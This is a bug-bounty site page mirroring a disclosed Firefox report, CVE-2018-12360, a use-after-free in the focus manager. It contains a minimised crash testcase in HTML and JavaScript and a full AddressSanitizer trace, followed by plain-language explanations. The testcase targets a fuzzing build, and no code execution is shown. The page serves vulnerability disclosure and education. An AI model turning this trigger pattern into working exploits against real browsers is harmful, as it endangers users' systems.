Skip to content
Memory corruption Disclosed report Advanced CVE-2018-12360

heap-use-after-free in nsFocusManager::CheckIfFocusable

A crafted page that repeatedly rebuilds and removes DOM nodes while focusing an input and forcing garbage collection triggers a heap-use-after-free in Firefox's focus manager. The crash occurs because CheckIfFocusable reads a node that has already been freed, which in a fuzzing build aborts the content process.

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 23 days
  • Paid in 4 months
  • Disclosed after 23 days

Created attachment 8973767 crash.html (minimised testcase)

The following testcase crashes a fuzzing build (--enable-fuzzing) of Firefox 61.0a1 (SourceStamp=b1628ac71fcc15797baec6083650bfcde650f190). It requires the fuzzing.enabled pref to be set to true.

<script> function start() { document.removeChild(document.documentElement); o0=document.createElement('HTML'); o1144=document.createElement('LI'); o1340=document.createElement('A'); o1144.appendChild(o1340); o0.appendChild(o1144); document.appendChild(o0); window.top.setTimeout(fun0, 400); } function fun0() { o1662=document.createElement('input'); o1662.type='number'; o1340.appendChild(o1662); o1711=document.createElement('textarea'); o0.appendChild(o1711); o1711.select(); o1718=document.createElement('marquee'); o0.addEventListener('DOMAttrModified',fun1); o0.appendChild(o1718); o1662.focus(); } function fun1() { o0.remove(); FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); } </script> <body onload="start()"></body>

ASAN output:

==10502==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500021439c at pc 0x7f6e33e45849 bp 0x7ffe54addfb0 sp 0x7ffe54addfa8 READ of size 4 at 0x61500021439c thread T0 (file:// Content) #0 0x7f6e33e45848 in GetBoolFlag /builds/worker/workspace/build/src/dom/base/nsINode.h:1644:12 #1 0x7f6e33e45848 in IsInUncomposedDoc /builds/worker/workspace/build/src/dom/base/nsINode.h:654 #2 0x7f6e33e45848 in GetPrimaryFrame /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIContent.h:699 #3 0x7f6e33e45848 in GetPrimaryFrame /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:1438 #4 0x7f6e33e45848 in nsFocusManager::CheckIfFocusable(mozilla::dom::Element*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1624 #5 0x7f6e33e40fed in nsFocusManager::SetFocusInner(mozilla::dom::Element*, int, bool, bool) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1226:36 #6 0x7f6e33e445ca in nsFocusManager::SetFocus(mozilla::dom::Element*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:518:3 #7 0x7f6e33bd0752 in mozilla::dom::Element::Focus(mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Element.cpp:348:20 #8 0x7f6e36bdf023 in mozilla::dom::HTMLInputElement::Focus(mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:3198:27 #9 0x7f6e36bdeb7f in mozilla::dom::HTMLInputElement::Focus(mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:3182:22 #10 0x7f6e35d7fad2 in mozilla::dom::HTMLElementBinding::focus(JSContext*, JS::Handle<JSObject*>, nsGenericHTMLElement*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLElementBinding.cpp:540:9 #11 0x7f6e36240b21 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3260:13 #12 0x7f6e3cb05ff7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #13 0x7f6e3cb05ff7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #14 0x7f6e3caf06bf in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #15 0x7f6e3caf06bf in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #16 0x7f6e3cad6d63 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #17 0x7f6e3cb05d75 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #18 0x7f6e3cb06ff2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10 #19 0x7f6e3d637c2a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2989:12 #20 0x7f6e35b86e9d in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:40:8 #21 0x7f6e33ac3bdb in Call<nsCOMPtr<nsISupports> > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12 #22 0x7f6e33ac3bdb in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:6658 #23 0x7f6e33ce1456 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:877:42 #24 0x7f6e33ce0734 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:172:11 #25 0x7f6e33ce2936 in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:240:5 #26 0x7f6e33ce2936 in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp #27 0x7f6e30babd9b in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:704:40 #28 0x7f6e30b7b429 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:290:11 #29 0x7f6e30b97c87 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:188:22 #30 0x7f6e30b978bf in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:72:15 #31 0x7f6e30b6c641 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32 #32 0x7f6e30b8b439 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1090:14 #33 0x7f6e30ba6e70 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #34 0x7f6e31a859e6 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5 #35 0x7f6e319d94f9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #36 0x7f6e319d94f9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #37 0x7f6e319d94f9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #38 0x7f6e385a8e4a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #39 0x7f6e3c81cf9b in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #40 0x7f6e319d94f9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #41 0x7f6e319d94f9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #42 0x7f6e319d94f9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #43 0x7f6e3c81c960 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34 #44 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #45 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #46 0x7f6e507d882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #47 0x42476c in _start (/fuzzer3/firefox/firefox+0x42476c)

0x61500021439c is located 28 bytes inside of 472-byte region [0x615000214380,0x615000214558) freed by thread T0 (file:// Content) here: #0 0x4c5172 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7f6e30a18f30 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2729:25 #2 0x7f6e30a2114f in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2917:3 #3 0x7f6e30a2114f in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3925 #4 0x7f6e30a2065d in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3746:9 #5 0x7f6e30a244f2 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4315:21 #6 0x7f6e33ec20de in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1488:3 #7 0x7f6e35c574ca in mozilla::dom::FuzzingFunctionsBinding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:54:3 #8 0x7f6e3cb05ff7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #9 0x7f6e3cb05ff7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #10 0x7f6e3caf06bf in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #11 0x7f6e3caf06bf in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #12 0x7f6e3cad6d63 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #13 0x7f6e3cb05d75 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #14 0x7f6e3cb06ff2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10 #15 0x7f6e3d637c2a in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2989:12 #16 0x7f6e359cca75 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8 #17 0x7f6e36972c7e in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12 #18 0x7f6e36972c7e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1118 #19 0x7f6e369743db in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1288:20 #20 0x7f6e3695ea87 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:560:14 #21 0x7f6e36962583 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9 #22 0x7f6e36964abb in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp #23 0x7f6e33ea7bf8 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1079:5 #24 0x7f6e36982ea3 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:204:13 #25 0x7f6e368f8e8c in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:68:12 #26 0x7f6e339f904f in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5635:15 #27 0x7f6e33dd7027 in nsDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5105:3 #28 0x7f6e36d5849c in nsHTMLDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2120:15 #29 0x7f6e38a79e1a in ~mozAutoDocConditionalContentUpdateBatch /builds/worker/workspace/build/src/dom/base/mozAutoDocUpdate.h:83:18 #30 0x7f6e38a79e1a in ModifyDeclaration<(lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:297:5)> /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:287 #31 0x7f6e38a79e1a in nsDOMCSSDeclaration::ParsePropertyValue(nsCSSPropertyID, nsTSubstring<char16_t> const&, bool, nsIPrincipal*) /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:295 #32 0x7f6e34373c9a in SetMargin /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ServoCSSPropList.h:456:1 #33 0x7f6e34373c9a in mozilla::dom::CSS2PropertiesBinding::set_margin(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitSetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:31017 #34 0x7f6e3623e223 in bool mozilla::dom::binding_detail::GenericSettermozilla::dom::binding_detail::NormalThisPolicy(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3204:8 #35 0x7f6e3cb05ff7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #36 0x7f6e3cb05ff7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #37 0x7f6e3cb08c26 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:516:12 #38 0x7f6e3cb08c26 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535 #39 0x7f6e3cb08c26 in js::CallSetter(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:664

previously allocated by thread T0 (file:// Content) here: #0 0x4c54b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x4f5f7d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7f6e36bb06b9 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12 #3 0x7f6e36bb06b9 in NS_NewHTMLInputElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:120 #4 0x7f6e36d38569 in CreateHTMLElement(unsigned int, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:252:41 #5 0x7f6e33a21937 in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:10017:18 #6 0x7f6e36d384c8 in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:235:10 #7 0x7f6e33e211a0 in nsIDocument::CreateHTMLElement(nsAtom*) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:12378:28 #8 0x7f6e390c5dbe in nsNumberControlFrame::MakeAnonymousElement(mozilla::dom::Element**, nsTArraynsIAnonymousContentCreator::ContentInfo&, nsAtom*, mozilla::CSSPseudoElementType) /builds/worker/workspace/build/src/layout/forms/nsNumberControlFrame.cpp:331:40 #9 0x7f6e390c63eb in nsNumberControlFrame::CreateAnonymousContent(nsTArraynsIAnonymousContentCreator::ContentInfo&) /builds/worker/workspace/build/src/layout/forms/nsNumberControlFrame.cpp:378:8 #10 0x7f6e38bff0ae in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArraynsIAnonymousContentCreator::ContentInfo&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4172:26 #11 0x7f6e38bf27fe in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, mozilla::ComputedStyle*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10265:3 #12 0x7f6e38c086e1 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4041:9 #13 0x7f6e38c11390 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6073:3 #14 0x7f6e38bf1ee5 in nsCSSFrameConstructor::ConstructFramesFromItemList(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList&, nsContainerFrame*, bool, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10144:5 #15 0x7f6e38c1e370 in nsCSSFrameConstructor::ContentAppended(nsIContent*, nsCSSFrameConstructor::InsertionKind) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7267:3 #16 0x7f6e38bad73f in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1401:27 #17 0x7f6e38bbaa95 in mozilla::RestyleManager::DoProcessPendingRestyles(mozilla::ServoTraversalFlags) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:3000:9 #18 0x7f6e38b72723 in ProcessPendingRestyles /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:3077:3 #19 0x7f6e38b72723 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4316 #20 0x7f6e33df3d68 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:592:5 #21 0x7f6e33df3d68 in nsIDocument::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7589 #22 0x7f6e33e449d9 in FlushPendingNotifications /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7528:3 #23 0x7f6e33e449d9 in nsFocusManager::CheckIfFocusable(mozilla::dom::Element*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1605 #24 0x7f6e33e40fed in nsFocusManager::SetFocusInner(mozilla::dom::Element*, int, bool, bool) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1226:36 #25 0x7f6e33e445ca in nsFocusManager::SetFocus(mozilla::dom::Element*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsFocusManager.cpp:518:3 #26 0x7f6e36cd7df4 in mozilla::dom::HTMLTextAreaElement::Select() /builds/worker/workspace/build/src/dom/html/HTMLTextAreaElement.cpp:156:11 #27 0x7f6e360533b7 in mozilla::dom::HTMLTextAreaElementBinding::select(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLTextAreaElement*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLTextAreaElementBinding.cpp:1390:9 #28 0x7f6e36240b21 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3260:13 #29 0x7f6e3cb05ff7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15 #30 0x7f6e3cb05ff7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #31 0x7f6e3caf06bf in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #32 0x7f6e3caf06bf in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086 #33 0x7f6e3cad6d63 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #34 0x7f6e3cb05d75 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #35 0x7f6e3cb06ff2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:1644:12 in GetBoolFlag Shadow bytes around the buggy address: 0x0c2a8003a820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a850: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c2a8003a860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2a8003a870: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a890: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8003a8a0: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa 0x0c2a8003a8b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a8003a8c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==10502==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the focus manager held a reference to an element across a layout flush and script callbacks that could remove and free it, then read it without re-checking.

Impact

The page can crash the content process in a fuzzing build; the report does not show code execution or impact on a normal release build.

What the attacker needed

Fuzzing.enabled pref set to true; fuzzing build of Firefox

How it was found

  1. Load the test page with the fuzzing.enabled preference set.
  2. The start function removes the document element and builds a new tree with a list, link and number input.
  3. After a timeout, a textarea is selected and a focus call is made on the number input.
  4. A DOMAttrModified listener removes the tree and forces garbage and cycle collection.
  5. The focus code then reads the freed node and AddressSanitizer aborts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free happens when a program keeps a pointer to memory it has already released and then reads it again. Here the browser's focus code looked at a page element after the garbage collector had thrown it away, so the browser crashed. The report only shows a crash in a special fuzzing build, not a way to take over a normal browser.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.